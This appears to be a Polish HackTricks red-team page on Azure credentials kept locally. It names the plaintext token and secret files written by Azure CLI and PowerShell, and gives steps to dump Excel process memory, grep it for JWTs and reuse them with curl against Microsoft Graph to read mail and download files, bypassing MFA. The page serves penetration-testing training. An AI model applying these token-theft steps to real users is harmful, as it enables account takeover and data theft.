Az - Lokalna Chmura Poświadczenia

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Lokalna Przechowalnia Tokenów i Rozważania Bezpieczeństwa

Azure CLI (Interfejs Wiersza Poleceń)

Tokeny i dane wrażliwe są przechowywane lokalnie przez Azure CLI, co budzi obawy dotyczące bezpieczeństwa:

  1. Tokeny Dostępu: Przechowywane w formacie tekstowym w accessTokens.json znajdującym się w C:\Users\<username>\.Azure.
  2. Informacje o Subskrypcji: azureProfile.json, w tym samym katalogu, zawiera szczegóły subskrypcji.
  3. Pliki Dziennika: Folder ErrorRecords w .azure może zawierać dzienniki z ujawnionymi poświadczeniami, takie jak:
  • Wykonane polecenia z osadzonymi poświadczeniami.
  • Adresy URL uzyskane za pomocą tokenów, potencjalnie ujawniające wrażliwe informacje.

Azure PowerShell

Azure PowerShell również przechowuje tokeny i dane wrażliwe, które można uzyskać lokalnie:

  1. Tokeny Dostępu: TokenCache.dat, znajdujący się w C:\Users\<username>\.Azure, przechowuje tokeny dostępu w formacie tekstowym.
  2. Sekrety Usługi Głównej: Są przechowywane w formacie niezaszyfrowanym w AzureRmContext.json.
  3. Funkcja Zapisywania Tokenów: Użytkownicy mają możliwość utrwalania tokenów za pomocą polecenia Save-AzContext, które powinno być używane ostrożnie, aby zapobiec nieautoryzowanemu dostępowi.

Automatyczne Narzędzia do Ich Znalezienia

Tokeny w pamięci

Jak wyjaśniono w tym filmie, niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams…) może przechowywać tokeny dostępu w formacie tekstowym w pamięci. Dlatego po prostu zrzucenie pamięci procesu i przeszukiwanie pod kątem tokenów JWT może dać dostęp do kilku zasobów ofiary w chmurze, omijając MFA.

Kroki:

  1. Zrzutuj procesy excela synchronizowane z użytkownikiem EntraID za pomocą ulubionego narzędzia.
  2. Uruchom: string excel.dmp | grep 'eyJ0' i znajdź kilka tokenów w wynikach
  3. Znajdź tokeny, które najbardziej Cię interesują, i uruchom nad nimi narzędzia:
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Zauważ, że tego rodzaju tokeny dostępu można również znaleźć w innych procesach.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks